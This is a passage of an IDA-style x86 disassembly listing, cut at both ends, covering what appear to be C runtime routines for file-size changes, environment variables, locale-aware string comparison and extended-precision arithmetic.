ptr 4 mov edx, [esp+arg_0] mov ecx, dword_4245C0 cmp dword_424544, edx push esi mov eax, offset dword_424540 jz short loc_418C73 lea esi, [ecx+ecx*2] lea esi, ds:424540h[esi*4] loc_418C67: ; CODE XREF: sub_418C45+2Cj add eax, 0Ch cmp eax, esi jnb short loc_418C73 cmp [eax+4], edx jnz short loc_418C67 loc_418C73: ; CODE XREF: sub_418C45+16j ; sub_418C45+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:424540h[ecx*4] cmp eax, ecx jnb short loc_418C87 cmp [eax+4], edx jz short locret_418C89 loc_418C87: ; CODE XREF: sub_418C45+3Bj xor eax, eax locret_418C89: ; CODE XREF: sub_418C45+40j retn sub_418C45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8A proc near ; CODE XREF: sub_417827+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_40EC80 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4BB8C0 jnb loc_418DBF mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4BB7C0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_418DBF push 1 push esi push ebx call sub_415560 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_418DC9 push 2 push esi push ebx call sub_415560 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_418DC9 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_418D6C push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_40E800 push 8000h push ebx call sub_4190E9 add esp, 14h mov [ebp+arg_4], eax loc_418D20: ; CODE XREF: sub_418C8A+BDj mov eax, 1000h cmp edi, eax jge short loc_418D2B mov eax, edi loc_418D2B: ; CODE XREF: sub_418C8A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_415AF3 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_418D49 sub edi, eax test edi, edi jle short loc_418D5F jmp short loc_418D20 ; --------------------------------------------------------------------------- loc_418D49: ; CODE XREF: sub_418C8A+B5j cmp dword_4BA288, 5 jnz short loc_418D5C mov dword_4BA284, 0Dh loc_418D5C: ; CODE XREF: sub_418C8A+C6j or esi, 0FFFFFFFFh loc_418D5F: ; CODE XREF: sub_418C8A+BBj push [ebp+arg_4] push ebx call sub_4190E9 pop ecx pop ecx jmp short loc_418DAC ; --------------------------------------------------------------------------- loc_418D6C: ; CODE XREF: sub_418C8A+71j jge short loc_418DAC push 0 push [ebp+arg_4] push ebx call sub_415560 push ebx call sub_417793 add esp, 10h push eax call dword_41A010 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_418DAC mov dword_4BA284, 0Dh call dword_41A07C ; RtlGetLastWin32Error mov dword_4BA288, eax loc_418DAC: ; CODE XREF: sub_418C8A+E0j ; sub_418C8A:loc_418D6Cj ... push 0 push [ebp+arg_0] push ebx call sub_415560 add esp, 0Ch mov eax, esi pop edi jmp short loc_418DCC ; --------------------------------------------------------------------------- loc_418DBF: ; CODE XREF: sub_418C8A+1Aj ; sub_418C8A+36j mov dword_4BA284, 9 loc_418DC9: ; CODE XREF: sub_418C8A+4Ej ; sub_418C8A+63j or eax, 0FFFFFFFFh loc_418DCC: ; CODE XREF: sub_418C8A+133j pop esi pop ebx leave retn sub_418C8A endp ; =============== S U B R O U T I N E ======================================= sub_418DD0 proc near ; CODE XREF: sub_417AF5+23p arg_0 = dword ptr 4 cmp dword_4BB8EC, 0 push ebx push esi mov esi, dword_4BA2AC push edi jz short loc_418E47 test esi, esi jnz short loc_418E01 cmp dword_4BA2B4, esi jz short loc_418E47 call sub_41919E test eax, eax jnz short loc_418E47 mov esi, dword_4BA2AC test esi, esi jz short loc_418E47 loc_418E01: ; CODE XREF: sub_418DD0+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_418E47 push ebx call sub_40E730 pop ecx mov edi, eax loc_418E12: ; CODE XREF: sub_418DD0+6Dj mov eax, [esi] test eax, eax jz short loc_418E47 push eax call sub_40E730 cmp eax, edi pop ecx jbe short loc_418E3A mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_418E3A push edi push ebx push eax call sub_41915F add esp, 0Ch test eax, eax jz short loc_418E3F loc_418E3A: ; CODE XREF: sub_418DD0+51j ; sub_418DD0+59j add esi, 4 jmp short loc_418E12 ; --------------------------------------------------------------------------- loc_418E3F: ; CODE XREF: sub_418DD0+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_418E49 ; --------------------------------------------------------------------------- loc_418E47: ; CODE XREF: sub_418DD0+10j ; sub_418DD0+1Cj ... xor eax, eax loc_418E49: ; CODE XREF: sub_418DD0+75j pop edi pop esi pop ebx retn sub_418DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E4D proc near ; CODE XREF: sub_418885+165p ; sub_41906D+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_41904D cmp cx, 7FFFh jnb loc_41904D cmp dx, 0BFFDh ja loc_41904D cmp dx, 3FBFh ja short loc_418EB6 xor eax, eax jmp short loc_418EF0 ; --------------------------------------------------------------------------- loc_418EB6: ; CODE XREF: sub_418E4D+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_418ED8 inc [ebp+arg_0] test [esi+8], edx jnz short loc_418ED8 xor eax, eax cmp [esi+4], eax jnz short loc_418EDA cmp [esi], eax jnz short loc_418EDA jmp loc_419047 ; --------------------------------------------------------------------------- loc_418ED8: ; CODE XREF: sub_418E4D+71j ; sub_418E4D+79j xor eax, eax loc_418EDA: ; CODE XREF: sub_418E4D+80j ; sub_418E4D+84j cmp cx, ax jnz short loc_418EFD inc [ebp+arg_0] test [ebx+8], edx jnz short loc_418EFD cmp [ebx+4], eax jnz short loc_418EFD cmp [ebx], eax jnz short loc_418EFD loc_418EF0: ; CODE XREF: sub_418E4D+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_419068 ; --------------------------------------------------------------------------- loc_418EFD: ; CODE XREF: sub_418E4D+90j ; sub_418E4D+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_418F0D: ; CODE XREF: sub_418E4D+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_418F61 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_418F29: ; CODE XREF: sub_418E4D+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_418213 add esp, 0Ch test eax, eax jz short loc_418F54 mov eax, [ebp+var_4] inc word ptr [eax] loc_418F54: ; CODE XREF: sub_418E4D+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_418F29 loc_418F61: ; CODE XREF: sub_418E4D+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_418F0D add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_418FA4 loc_418F7F: ; CODE XREF: sub_418E4D+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_418F9D lea eax, [ebp+var_24] push eax call sub_418292 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_418F7F loc_418F9D: ; CODE XREF: sub_418E4D+136j cmp word ptr [ebp+arg_0], 0 jg short loc_418FDD loc_418FA4: ; CODE XREF: sub_418E4D+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_418FDD movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_418FBD: ; CODE XREF: sub_418E4D+184j test byte ptr [ebp+var_24], 1 jz short loc_418FC6 inc [ebp+var_14] loc_418FC6: ; CODE XREF: sub_418E4D+174j lea eax, [ebp+var_24] push eax call sub_4182C0 dec ebx pop ecx jnz short loc_418FBD cmp [ebp+var_14], 0 jz short loc_418FDD or byte ptr [ebp+var_24], 1 loc_418FDD: ; CODE XREF: sub_418E4D+155j ; sub_418E4D+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_418FF4 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_419029 loc_418FF4: ; CODE XREF: sub_418E4D+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_419026 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_419021 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_41901B inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_419029 ; --------------------------------------------------------------------------- loc_41901B: ; CODE XREF: sub_418E4D+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_419029 ; --------------------------------------------------------------------------- loc_419021: ; CODE XREF: sub_418E4D+1B5j inc [ebp+var_20+2] jmp short loc_419029 ; --------------------------------------------------------------------------- loc_419026: ; CODE XREF: sub_418E4D+1ABj inc [ebp+var_24+2] loc_419029: ; CODE XREF: sub_418E4D+1A5j ; sub_418E4D+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_41904D mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_419047: ; CODE XREF: sub_418E4D+86j mov [esi+0Ah], ax jmp short loc_419068 ; --------------------------------------------------------------------------- loc_41904D: ; CODE XREF: sub_418E4D+42j ; sub_418E4D+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_419068: ; CODE XREF: sub_418E4D+ABj ; sub_418E4D+1FEj pop edi pop esi pop ebx leave retn sub_418E4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41906D proc near ; CODE XREF: sub_4183B4+440p ; sub_418885+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_424B98 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_4190E6 jge short loc_419095 mov eax, [ebp+arg_4] mov ebx, offset dword_424CF8 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_419095: ; CODE XREF: sub_41906D+16j cmp [ebp+arg_8], ecx jnz short loc_4190A0 mov eax, [ebp+arg_0] mov [eax], cx loc_4190A0: ; CODE XREF: sub_41906D+2Bj cmp [ebp+arg_4], ecx jz short loc_4190E6 push esi push edi loc_4190A7: ; CODE XREF: sub_41906D+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_4190DF lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_4190D2 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_4190D2: ; CODE XREF: sub_41906D+57j push esi push [ebp+arg_0] call sub_418E4D pop ecx pop ecx xor ecx, ecx loc_4190DF: ; CODE XREF: sub_41906D+49j cmp [ebp+arg_4], ecx jnz short loc_4190A7 pop edi pop esi loc_4190E6: ; CODE XREF: sub_41906D+14j ; sub_41906D+36j pop ebx leave retn sub_41906D endp ; =============== S U B R O U T I N E ======================================= sub_4190E9 proc near ; CODE XREF: sub_418C8A+8Bp ; sub_418C8A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4BB8C0 jnb short loc_419150 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4BB7C0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_419150 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_419129 and cl, 7Fh jmp short loc_419136 ; --------------------------------------------------------------------------- loc_419129: ; CODE XREF: sub_4190E9+39j cmp [esp+4+arg_4], 4000h jnz short loc_419144 or cl, 80h loc_419136: ; CODE XREF: sub_4190E9+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_419144: ; CODE XREF: sub_4190E9+48j mov dword_4BA284, 16h jmp short loc_41915A ; --------------------------------------------------------------------------- loc_419150: ; CODE XREF: sub_4190E9+Bj ; sub_4190E9+27j mov dword_4BA284, 9 loc_41915A: ; CODE XREF: sub_4190E9+65j or eax, 0FFFFFFFFh pop esi retn sub_4190E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41915F proc near ; CODE XREF: sub_418DD0+5Ep ; sub_419610+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_41916C xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_41916C: ; CODE XREF: sub_41915F+7j push dword_4BB584 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4BB7A4 call sub_41920C add esp, 1Ch test eax, eax jnz short loc_419199 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_419199: ; CODE XREF: sub_41915F+31j add eax, 0FFFFFFFEh pop ebp retn sub_41915F endp ; =============== S U B R O U T I N E ======================================= sub_41919E proc near ; CODE XREF: sub_418DD0+1Ep ; sub_419489+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4BA2B4 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_4191FF mov ebx, dword_41A058 loc_4191B7: ; CODE XREF: sub_41919E+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; WideCharToMultiByte mov ebp, eax cmp ebp, edi jz short loc_419207 push ebp call sub_40E882 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_419207 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; WideCharToMultiByte test eax, eax jz short loc_419207 push edi push [esp+18h+var_4] call sub_419489 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_4191B7 loc_4191FF: ; CODE XREF: sub_41919E+11j xor eax, eax loc_419201: ; CODE XREF: sub_41919E+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_419207: ; CODE XREF: sub_41919E+29j ; sub_41919E+38j ... or eax, 0FFFFFFFFh jmp short loc_419201 sub_41919E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41920C proc near ; CODE XREF: sub_41915F+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41A8B0 push offset sub_416728 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4BA568, ebx push 1 pop edi jnz short loc_41927F push edi mov eax, offset dword_41A500 push eax push edi push eax push ebx push ebx call dword_41A008 ; CompareStringW test eax, eax jz short loc_41925C mov dword_4BA568, edi jmp short loc_41927F ; --------------------------------------------------------------------------- loc_41925C: ; CODE XREF: sub_41920C+46j push edi mov eax, offset dword_424F04 push eax push edi push eax push ebx push ebx call dword_41A00C ; CompareStringA test eax, eax jz loc_419475 mov dword_4BA568, 2 loc_41927F: ; CODE XREF: sub_41920C+31j ; sub_41920C+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_419296 push esi push [ebp+arg_8] call sub_415AC8 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_419296: ; CODE XREF: sub_41920C+78j cmp [ebp+arg_14], ebx jle short loc_4192AB push [ebp+arg_14] push [ebp+arg_10] call sub_415AC8 pop ecx pop ecx mov [ebp+arg_14], eax loc_4192AB: ; CODE XREF: sub_41920C+8Dj mov eax, dword_4BA568 cmp eax, 2 jnz short loc_4192D0 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41A00C ; CompareStringA jmp loc_419477 ; --------------------------------------------------------------------------- loc_4192D0: ; CODE XREF: sub_41920C+A7j cmp eax, edi jnz loc_419475 cmp [ebp+arg_18], ebx jnz short loc_4192E5 mov eax, dword_4BA324 mov [ebp+arg_18], eax loc_4192E5: ; CODE XREF: sub_41920C+CFj cmp esi, ebx jz short loc_4192F2 cmp [ebp+arg_14], ebx jnz loc_41938A loc_4192F2: ; CODE XREF: sub_41920C+DBj cmp esi, [ebp+arg_14] jnz short loc_4192FF loc_4192F7: ; CODE XREF: sub_41920C+13Cj ; sub_41920C+16Dj push 2 loc_4192F9: ; CODE XREF: sub_41920C+146j pop eax jmp loc_419477 ; --------------------------------------------------------------------------- loc_4192FF: ; CODE XREF: sub_41920C+E9j cmp [ebp+arg_14], edi jle short loc_41930B loc_419304: ; CODE XREF: sub_41920C+151j ; sub_41920C+159j ... mov eax, edi jmp loc_419477 ; --------------------------------------------------------------------------- loc_41930B: ; CODE XREF: sub_41920C+F6j cmp esi, edi jg short loc_419350 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call dword_41A04C ; GetCPInfo test eax, eax jz loc_419475 cmp esi, ebx jle short loc_419354 cmp [ebp+var_3C], 2 jb short loc_419350 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_419350 loc_419336: ; CODE XREF: sub_41920C+142j mov dl, [eax+1] cmp dl, bl jz short loc_419350 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_41934A cmp cl, dl jbe short loc_4192F7 loc_41934A: ; CODE XREF: sub_41920C+138j inc eax inc eax cmp [eax], bl jnz short loc_419336 loc_419350: ; CODE XREF: sub_41920C+101j ; sub_41920C+120j ... push 3 jmp short loc_4192F9 ; --------------------------------------------------------------------------- loc_419354: ; CODE XREF: sub_41920C+11Aj cmp [ebp+arg_14], ebx jle short loc_41938A cmp [ebp+var_3C], 2 jb short loc_419304 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_419304 loc_419367: ; CODE XREF: sub_41920C+177j mov dl, [eax+1] cmp dl, bl jz short loc_419304 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_41937F cmp cl, dl jbe loc_4192F7 loc_41937F: ; CODE XREF: sub_41920C+169j inc eax inc eax cmp [eax], bl jnz short loc_419367 jmp loc_419304 ; --------------------------------------------------------------------------- loc_41938A: ; CODE XREF: sub_41920C+E0j ; sub_41920C+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call dword_41A064 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_419475 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_40EC80 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4193D9 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4193D9: ; CODE XREF: sub_41920C+1B5j cmp [ebp+var_24], ebx jz loc_419475 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_41A064 call esi ; MultiByteToWideChar test eax, eax jz short loc_419475 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; MultiByteToWideChar mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_419475 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_40EC80 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_419444 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_419444: ; CODE XREF: sub_41920C+224j cmp edi, ebx jz short loc_419475 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call dword_41A064 ; MultiByteToWideChar test eax, eax jz short loc_419475 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_41A008 ; CompareStringW jmp short loc_419477 ; --------------------------------------------------------------------------- loc_419475: ; CODE XREF: sub_41920C+63j ; sub_41920C+C6j ... xor eax, eax loc_419477: ; CODE XREF: sub_41920C+BFj ; sub_41920C+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41920C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419489 proc near ; CODE XREF: sub_41919E+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_4194ED push 3Dh push [ebp+arg_0] call sub_4196CF mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_4194ED cmp [ebp+arg_0], esi jz short loc_4194ED mov eax, dword_4BA2AC xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4BA2B0 jnz short loc_4194D3 push eax call sub_419668 pop ecx mov dword_4BA2AC, eax loc_4194D3: ; CODE XREF: sub_419489+3Cj cmp eax, edi jnz short loc_41952B cmp [ebp+arg_4], edi jz short loc_4194F5 cmp dword_4BA2B4, edi jz short loc_4194F5 call sub_41919E test eax, eax jz short loc_41952B loc_4194ED: ; CODE XREF: sub_419489+Dj ; sub_419489+22j ... or eax, 0FFFFFFFFh loc_4194F0: ; CODE XREF: sub_419489+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4194F5: ; CODE XREF: sub_419489+51j ; sub_419489+59j cmp ebx, edi jnz loc_419609 push 4 call sub_40E882 cmp eax, edi pop ecx mov dword_4BA2AC, eax jz short loc_4194ED mov [eax], edi cmp dword_4BA2B4, edi jnz short loc_41952B push 4 call sub_40E882 cmp eax, edi pop ecx mov dword_4BA2B4, eax jz short loc_4194ED mov [eax], edi loc_41952B: ; CODE XREF: sub_419489+4Cj ; sub_419489+62j ... sub esi, [ebp+arg_0] mov edi, dword_4BA2AC mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_419610 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_41958B cmp dword ptr [edi], 0 jz short loc_41958B test ebx, ebx jz short loc_419583 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_40ECAF pop ecx loc_41955D: ; CODE XREF: sub_419489+E2j cmp dword ptr [edi], 0 jz short loc_41956D mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_41955D ; --------------------------------------------------------------------------- loc_41956D: ; CODE XREF: sub_419489+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_414008 pop ecx test eax, eax pop ecx jz short loc_4195BD jmp short loc_4195B8 ; --------------------------------------------------------------------------- loc_419583: ; CODE XREF: sub_419489+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4195BD ; --------------------------------------------------------------------------- loc_41958B: ; CODE XREF: sub_419489+BDj ; sub_419489+C2j test ebx, ebx jnz short loc_419609 test esi, esi jge short loc_419595 neg esi loc_419595: ; CODE XREF: sub_419489+108j lea eax, ds:8[esi*4] push eax push edi call sub_414008 pop ecx test eax, eax pop ecx jz loc_4194ED mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4195B8: ; CODE XREF: sub_419489+F8j mov dword_4BA2AC, eax loc_4195BD: ; CODE XREF: sub_419489+F6j ; sub_419489+100j cmp [ebp+arg_4], 0 jz short loc_419609 push [ebp+arg_0] call sub_40E730 inc eax inc eax push eax call sub_40E882 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_419609 push [ebp+arg_0] push esi call sub_40ED20 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call dword_41A004 ; SetEnvironmentVariableA push esi call sub_40ECAF pop ecx loc_419609: ; CODE XREF: sub_419489+6Ej ; sub_419489+104j ... xor eax, eax jmp loc_4194F0 sub_419489 endp ; =============== S U B R O U T I N E ======================================= sub_419610 proc near ; CODE XREF: sub_419489+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4BA2AC push edi mov eax, [esi] test eax, eax jz short loc_41964B mov edi, [esp+8+arg_4] loc_419622: ; CODE XREF: sub_419610+39j push edi push eax push [esp+10h+arg_0] call sub_41915F add esp, 0Ch test eax, eax jnz short loc_419641 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_41965B test al, al jz short loc_41965B loc_419641: ; CODE XREF: sub_419610+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_419622 loc_41964B: ; CODE XREF: sub_419610+Cj mov eax, esi sub eax, dword_4BA2AC sar eax, 2 neg eax loc_419658: ; CODE XREF: sub_419610+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41965B: ; CODE XREF: sub_419610+2Bj ; sub_419610+2Fj mov eax, esi sub eax, dword_4BA2AC sar eax, 2 jmp short loc_419658 sub_419610 endp ; =============== S U B R O U T I N E ======================================= sub_419668 proc near ; CODE XREF: sub_419489+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_419677 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_419677: ; CODE XREF: sub_419668+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_419689 loc_41967F: ; CODE XREF: sub_419668+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_41967F loc_419689: ; CODE XREF: sub_419668+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_40E882 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4196AA push 9 call sub_410C52 pop ecx loc_4196AA: ; CODE XREF: sub_419668+38j mov eax, [edi] mov ebx, edi loc_4196AE: ; CODE XREF: sub_419668+5Bj test eax, eax jz short loc_4196C5 push eax add ebx, 4 call sub_419742 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4196AE ; --------------------------------------------------------------------------- loc_4196C5: ; CODE XREF: sub_419668+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_419668 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196CF proc near ; CODE XREF: sub_419489+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4BB59C, 0 jnz short loc_4196EA push [ebp+arg_4] push [ebp+arg_0] call sub_410AA0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4196EA: ; CODE XREF: sub_4196CF+Aj mov ecx, [ebp+arg_0] loc_4196ED: ; CODE XREF: sub_4196CF+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_419730 movzx edx, al test byte_4BB6A1[edx], 4 jz short loc_41971C mov dl, [ecx+1] inc ecx test dl, dl jz short loc_419727 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_41972B jmp short loc_419724 ; --------------------------------------------------------------------------- loc_41971C: ; CODE XREF: sub_4196CF+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_419730 loc_419724: ; CODE XREF: sub_4196CF+4Bj inc ecx jmp short loc_4196ED ; --------------------------------------------------------------------------- loc_419727: ; CODE XREF: 